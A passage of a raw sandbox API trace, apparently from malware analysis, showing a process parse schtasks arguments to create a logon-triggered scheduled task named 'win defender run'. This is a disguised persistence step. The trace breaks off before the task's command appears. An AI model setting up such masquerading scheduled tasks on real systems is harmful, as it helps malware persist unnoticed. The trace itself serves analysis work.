(lpString="/tn") returned 3 [0163.635] lstrlenW (lpString="-/") returned 2 [0163.635] StrChrIW (lpStart="-/", wMatch=0x47f002f) returned="/" [0163.635] lstrlenW (lpString="create") returned 6 [0163.635] lstrlenW (lpString="create") returned 6 [0163.635] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.635] lstrlenW (lpString="tn") returned 2 [0163.635] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.635] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|create|") returned 8 [0163.635] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|tn|") returned 4 [0163.635] lstrlenW (lpString="|create|") returned 8 [0163.635] lstrlenW (lpString="|tn|") returned 4 [0163.635] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0163.635] RtlRestoreLastWin32Error () returned 0x490 [0163.635] lstrlenW (lpString="?") returned 1 [0163.635] lstrlenW (lpString="?") returned 1 [0163.635] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.635] lstrlenW (lpString="tn") returned 2 [0163.635] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.635] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|?|") returned 3 [0163.635] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|tn|") returned 4 [0163.635] lstrlenW (lpString="|?|") returned 3 [0163.635] lstrlenW (lpString="|tn|") returned 4 [0163.636] RtlRestoreLastWin32Error () returned 0x490 [0163.636] lstrlenW (lpString="s") returned 1 [0163.636] lstrlenW (lpString="s") returned 1 [0163.636] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.636] lstrlenW (lpString="tn") returned 2 [0163.636] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.636] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|s|") returned 3 [0163.636] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|tn|") returned 4 [0163.636] lstrlenW (lpString="|s|") returned 3 [0163.636] lstrlenW (lpString="|tn|") returned 4 [0163.636] RtlRestoreLastWin32Error () returned 0x490 [0163.636] lstrlenW (lpString="u") returned 1 [0163.636] lstrlenW (lpString="u") returned 1 [0163.636] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.636] lstrlenW (lpString="tn") returned 2 [0163.636] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.636] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|u|") returned 3 [0163.636] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|tn|") returned 4 [0163.636] lstrlenW (lpString="|u|") returned 3 [0163.636] lstrlenW (lpString="|tn|") returned 4 [0163.636] RtlRestoreLastWin32Error () returned 0x490 [0163.636] lstrlenW (lpString="p") returned 1 [0163.636] lstrlenW (lpString="p") returned 1 [0163.636] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.636] lstrlenW (lpString="tn") returned 2 [0163.636] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.636] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|p|") returned 3 [0163.636] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|tn|") returned 4 [0163.637] lstrlenW (lpString="|p|") returned 3 [0163.637] lstrlenW (lpString="|tn|") returned 4 [0163.637] RtlRestoreLastWin32Error () returned 0x490 [0163.637] lstrlenW (lpString="ru") returned 2 [0163.637] lstrlenW (lpString="ru") returned 2 [0163.637] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.637] lstrlenW (lpString="tn") returned 2 [0163.637] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.637] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|ru|") returned 4 [0163.637] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|tn|") returned 4 [0163.637] lstrlenW (lpString="|ru|") returned 4 [0163.637] lstrlenW (lpString="|tn|") returned 4 [0163.637] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0163.637] RtlRestoreLastWin32Error () returned 0x490 [0163.637] lstrlenW (lpString="rp") returned 2 [0163.637] lstrlenW (lpString="rp") returned 2 [0163.637] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.637] lstrlenW (lpString="tn") returned 2 [0163.637] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.637] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|rp|") returned 4 [0163.637] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|tn|") returned 4 [0163.637] lstrlenW (lpString="|rp|") returned 4 [0163.637] lstrlenW (lpString="|tn|") returned 4 [0163.637] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0163.637] RtlRestoreLastWin32Error () returned 0x490 [0163.637] lstrlenW (lpString="sc") returned 2 [0163.637] lstrlenW (lpString="sc") returned 2 [0163.637] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.638] lstrlenW (lpString="tn") returned 2 [0163.638] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.638] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|sc|") returned 4 [0163.638] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|tn|") returned 4 [0163.638] lstrlenW (lpString="|sc|") returned 4 [0163.638] lstrlenW (lpString="|tn|") returned 4 [0163.638] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0163.638] RtlRestoreLastWin32Error () returned 0x490 [0163.638] lstrlenW (lpString="mo") returned 2 [0163.638] lstrlenW (lpString="mo") returned 2 [0163.638] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.638] lstrlenW (lpString="tn") returned 2 [0163.638] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.638] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|mo|") returned 4 [0163.638] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|tn|") returned 4 [0163.638] lstrlenW (lpString="|mo|") returned 4 [0163.638] lstrlenW (lpString="|tn|") returned 4 [0163.638] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0163.638] RtlRestoreLastWin32Error () returned 0x490 [0163.638] lstrlenW (lpString="d") returned 1 [0163.638] lstrlenW (lpString="d") returned 1 [0163.638] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.638] lstrlenW (lpString="tn") returned 2 [0163.638] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.638] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|d|") returned 3 [0163.638] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|tn|") returned 4 [0163.638] lstrlenW (lpString="|d|") returned 3 [0163.639] lstrlenW (lpString="|tn|") returned 4 [0163.639] RtlRestoreLastWin32Error () returned 0x490 [0163.639] lstrlenW (lpString="m") returned 1 [0163.639] lstrlenW (lpString="m") returned 1 [0163.639] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.639] lstrlenW (lpString="tn") returned 2 [0163.639] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.639] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|m|") returned 3 [0163.639] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|tn|") returned 4 [0163.639] lstrlenW (lpString="|m|") returned 3 [0163.639] lstrlenW (lpString="|tn|") returned 4 [0163.639] RtlRestoreLastWin32Error () returned 0x490 [0163.639] lstrlenW (lpString="i") returned 1 [0163.639] lstrlenW (lpString="i") returned 1 [0163.639] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.639] lstrlenW (lpString="tn") returned 2 [0163.639] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.639] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|i|") returned 3 [0163.639] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|tn|") returned 4 [0163.639] lstrlenW (lpString="|i|") returned 3 [0163.639] lstrlenW (lpString="|tn|") returned 4 [0163.639] RtlRestoreLastWin32Error () returned 0x490 [0163.639] lstrlenW (lpString="tn") returned 2 [0163.639] lstrlenW (lpString="tn") returned 2 [0163.639] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.640] lstrlenW (lpString="tn") returned 2 [0163.640] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.640] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|tn|") returned 4 [0163.640] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|tn|") returned 4 [0163.640] lstrlenW (lpString="|tn|") returned 4 [0163.640] lstrlenW (lpString="|tn|") returned 4 [0163.640] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0163.640] RtlRestoreLastWin32Error () returned 0x0 [0163.640] RtlRestoreLastWin32Error () returned 0x0 [0163.640] lstrlenW (lpString="win defender run") returned 16 [0163.640] lstrlenW (lpString="-/") returned 2 [0163.640] StrChrIW (lpStart="-/", wMatch=0x47f0077) returned 0x0 [0163.640] RtlRestoreLastWin32Error () returned 0x490 [0163.640] RtlRestoreLastWin32Error () returned 0x490 [0163.640] RtlRestoreLastWin32Error () returned 0x0 [0163.640] lstrlenW (lpString="win defender run") returned 16 [0163.640] StrChrIW (lpStart="win defender run", wMatch=0x3a) returned 0x0 [0163.640] RtlRestoreLastWin32Error () returned 0x490 [0163.640] RtlRestoreLastWin32Error () returned 0x0 [0163.640] lstrlenW (lpString="win defender run") returned 16 [0163.640] RtlRestoreLastWin32Error () returned 0x0 [0163.640] RtlRestoreLastWin32Error () returned 0x0 [0163.640] lstrlenW (lpString="/sc") returned 3 [0163.640] lstrlenW (lpString="-/") returned 2 [0163.640] StrChrIW (lpStart="-/", wMatch=0x47f002f) returned="/" [0163.640] lstrlenW (lpString="create") returned 6 [0163.640] lstrlenW (lpString="create") returned 6 [0163.640] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.640] lstrlenW (lpString="sc") returned 2 [0163.640] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.641] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|create|") returned 8 [0163.641] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|sc|") returned 4 [0163.641] lstrlenW (lpString="|create|") returned 8 [0163.641] lstrlenW (lpString="|sc|") returned 4 [0163.641] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0163.641] RtlRestoreLastWin32Error () returned 0x490 [0163.641] lstrlenW (lpString="?") returned 1 [0163.641] lstrlenW (lpString="?") returned 1 [0163.641] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.641] lstrlenW (lpString="sc") returned 2 [0163.641] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.641] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|?|") returned 3 [0163.644] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|sc|") returned 4 [0163.644] lstrlenW (lpString="|?|") returned 3 [0163.644] lstrlenW (lpString="|sc|") returned 4 [0163.644] RtlRestoreLastWin32Error () returned 0x490 [0163.644] lstrlenW (lpString="s") returned 1 [0163.644] lstrlenW (lpString="s") returned 1 [0163.644] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.644] lstrlenW (lpString="sc") returned 2 [0163.644] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.644] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|s|") returned 3 [0163.644] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|sc|") returned 4 [0163.644] lstrlenW (lpString="|s|") returned 3 [0163.644] lstrlenW (lpString="|sc|") returned 4 [0163.644] RtlRestoreLastWin32Error () returned 0x490 [0163.644] lstrlenW (lpString="u") returned 1 [0163.644] lstrlenW (lpString="u") returned 1 [0163.644] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.644] lstrlenW (lpString="sc") returned 2 [0163.644] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.644] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|u|") returned 3 [0163.644] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|sc|") returned 4 [0163.644] lstrlenW (lpString="|u|") returned 3 [0163.644] lstrlenW (lpString="|sc|") returned 4 [0163.644] RtlRestoreLastWin32Error () returned 0x490 [0163.644] lstrlenW (lpString="p") returned 1 [0163.645] lstrlenW (lpString="p") returned 1 [0163.645] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.645] lstrlenW (lpString="sc") returned 2 [0163.645] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.645] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|p|") returned 3 [0163.645] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|sc|") returned 4 [0163.645] lstrlenW (lpString="|p|") returned 3 [0163.645] lstrlenW (lpString="|sc|") returned 4 [0163.645] RtlRestoreLastWin32Error () returned 0x490 [0163.645] lstrlenW (lpString="ru") returned 2 [0163.645] lstrlenW (lpString="ru") returned 2 [0163.645] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.645] lstrlenW (lpString="sc") returned 2 [0163.645] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.645] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|ru|") returned 4 [0163.645] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|sc|") returned 4 [0163.645] lstrlenW (lpString="|ru|") returned 4 [0163.645] lstrlenW (lpString="|sc|") returned 4 [0163.645] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0163.645] RtlRestoreLastWin32Error () returned 0x490 [0163.645] lstrlenW (lpString="rp") returned 2 [0163.645] lstrlenW (lpString="rp") returned 2 [0163.645] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.645] lstrlenW (lpString="sc") returned 2 [0163.645] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.645] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|rp|") returned 4 [0163.646] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|sc|") returned 4 [0163.646] lstrlenW (lpString="|rp|") returned 4 [0163.646] lstrlenW (lpString="|sc|") returned 4 [0163.646] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0163.646] RtlRestoreLastWin32Error () returned 0x490 [0163.646] lstrlenW (lpString="sc") returned 2 [0163.646] lstrlenW (lpString="sc") returned 2 [0163.646] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.646] lstrlenW (lpString="sc") returned 2 [0163.646] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.646] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|sc|") returned 4 [0163.646] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|sc|") returned 4 [0163.646] lstrlenW (lpString="|sc|") returned 4 [0163.646] lstrlenW (lpString="|sc|") returned 4 [0163.646] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0163.646] RtlRestoreLastWin32Error () returned 0x0 [0163.646] RtlRestoreLastWin32Error () returned 0x0 [0163.646] lstrlenW (lpString="ONLOGON") returned 7 [0163.646] lstrlenW (lpString="-/") returned 2 [0163.646] StrChrIW (lpStart="-/", wMatch=0x47f004f) returned 0x0 [0163.646] RtlRestoreLastWin32Error () returned 0x490 [0163.646] RtlRestoreLastWin32Error () returned 0x490 [0163.646] RtlRestoreLastWin32Error () returned 0x0 [0163.646] lstrlenW (lpString="ONLOGON") returned 7 [0163.646] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0163.646] RtlRestoreLastWin32Error () returned 0x490 [0163.646] RtlRestoreLastWin32Error () returned 0x0 [0163.646] GetProcessHeap () returned 0x42e0000 [0163.646] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x10) returned 0x42eab40 [0163.647] _memicmp (_Buf1=0x42eab40, _Buf2=0x232708, _Size=0x7) returned 0 [0163.647] lstrlenW (lpString="ONLOGON") returned 7 [0163.647] GetProcessHeap () returned 0x42e0000 [0163.647] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x10) returned 0x42eabd0 [0163.647] lstrlenW (lpString="ONLOGON") returned 7 [0163.647] lstrlenW (lpString=" \x09") returned 2 [0163.647] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0163.647] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0163.647] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0163.647] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0163.647] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0163.647] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0163.647] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0163.647] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0163.647] GetLastError () returned 0x0 [0163.647] lstrlenW (lpString="ONLOGON") returned 7 [0163.647] lstrlenW (lpString="ONLOGON") returned 7 [0163.647] RtlRestoreLastWin32Error () returned 0x0 [0163.647] RtlRestoreLastWin32Error () returned 0x0 [0163.647] lstrlenW (lpString="/tr") returned 3 [0163.647] lstrlenW (lpString="-/") returned 2 [0163.647] StrChrIW (lpStart="-/", wMatch=0x47f002f) returned="/" [0163.647] lstrlenW (lpString="create") returned 6 [0163.647] lstrlenW (lpString="create") returned 6 [0163.647] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.647] lstrlenW (lpString="tr") returned 2 [0163.647] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.647] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|create|") returned 8 [0163.647] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|tr|") returned 4 [0163.648] lstrlenW (lpString="|create|") returned 8 [0163.648] lstrlenW (lpString="|tr|") returned 4 [0163.648] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0163.648] RtlRestoreLastWin32Error () returned 0x490 [0163.648] lstrlenW (lpString="?") returned 1 [0163.648] lstrlenW (lpString="?") returned 1 [0163.648] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.648] lstrlenW (lpString="tr") returned 2 [0163.648] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.648] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|?|") returned 3 [0163.648] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|tr|") returned 4 [0163.648] lstrlenW (lpString="|?|") returned 3 [0163.648] lstrlenW (lpString="|tr|") returned 4 [0163.648] RtlRestoreLastWin32Error () returned 0x490 [0163.648] lstrlenW (lpString="s") returned 1 [0163.648] lstrlenW (lpString="s") returned 1 [0163.648] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.648] lstrlenW (lpString="tr") returned 2 [0163.648] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.648] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|s|") returned 3 [0163.648] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|tr|") returned 4 [0163.648] lstrlenW (lpString="|s|") returned 3 [0163.648] lstrlenW (lpString="|tr|") returned 4 [0163.648] RtlRestoreLastWin32Error () returned 0x490 [0163.648] lstrlenW (lpString="u") returned 1 [0163.648] lstrlenW (lpString="u") returned 1 [0163.648] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.649] lstrlenW (lpString="tr") returned 2 [0163.649] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.649] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|u|") returned 3 [0163.649] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|tr|") returned 4 [0163.649] lstrlenW (lpString="|u|") returned 3 [0163.649] lstrlenW (lpString="|tr|") returned 4 [0163.649] RtlRestoreLastWin32Error () returned 0x490 [0163.649] lstrlenW (lpString="p") returned 1 [0163.649] lstrlenW (lpString="p") returned 1 [0163.649] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.649] lstrlenW (lpString="tr") returned 2 [0163.649] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.649] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|p|") returned 3 [0163.649] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|tr|") returned 4 [0163.649] lstrlenW (lpString="|p|") returned 3 [0163.649] lstrlenW (lpString="|tr|") returned 4 [0163.649] RtlRestoreLastWin32Error () returned 0x490 [0163.649] lstrlenW (lpString="ru") returned 2 [0163.649] lstrlenW (lpString="ru") returned 2 [0163.649] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.649] lstrlenW (lpString="tr") returned 2 [0163.649] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.649] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|ru|") returned 4 [0163.650] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|tr|") returned 4 [0163.650] lstrlenW (lpString="|ru|") returned 4 [0163.650] lstrlenW (lpString="|tr|") returned 4 [0163.650] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0163.650] RtlRestoreLastWin32Error () returned 0x490 [0163.650] lstrlenW (lpString="rp") returned 2 [0163.650] lstrlenW (lpString="rp") returned 2 [0163.650] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.650] lstrlenW (lpString="tr") returned 2 [0163.650] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.650] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|rp|") returned 4 [0163.650] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|tr|") returned 4 [0163.650] lstrlenW (lpString="|rp|") returned 4 [0163.650] lstrlenW (lpString="|tr|") returned 4 [0163.650] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0163.650] RtlRestoreLastWin32Error () returned 0x490 [0163.650] lstrlenW (lpString="sc") returned 2 [0163.650] lstrlenW (lpString="sc") returned 2 [0163.650] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.650] lstrlenW (lpString="tr") returned 2 [0163.650] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.650] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|sc|") returned 4 [0163.650] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|tr|") returned 4 [0163.650] lstrlenW (lpString="|sc|") returned 4 [0163.650] lstrlenW (lpString="|tr|") returned 4 [0163.650] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0163.650] RtlRestoreLastWin32Error () returned 0x490 [0163.651] lstrlenW (lpString="mo") returned 2 [0163.651] lstrlenW (lpString="mo") returned 2 [0163.651] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.651] lstrlenW (lpString="tr") returned 2 [0163.651] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.651] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|mo|") returned 4 [0163.651] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|tr|") returned 4 [0163.651] lstrlenW (lpString="|mo|") returned 4 [0163.651] lstrlenW (lpString="|tr|") returned 4 [0163.651] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0163.651] RtlRestoreLastWin32Error () returned 0x490 [0163.651] lstrlenW (lpString="d") returned 1 [0163.651] lstrlenW (lpString="d") returned 1 [0163.651] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.651] lstrlenW (lpString="tr") returned 2 [0163.651] 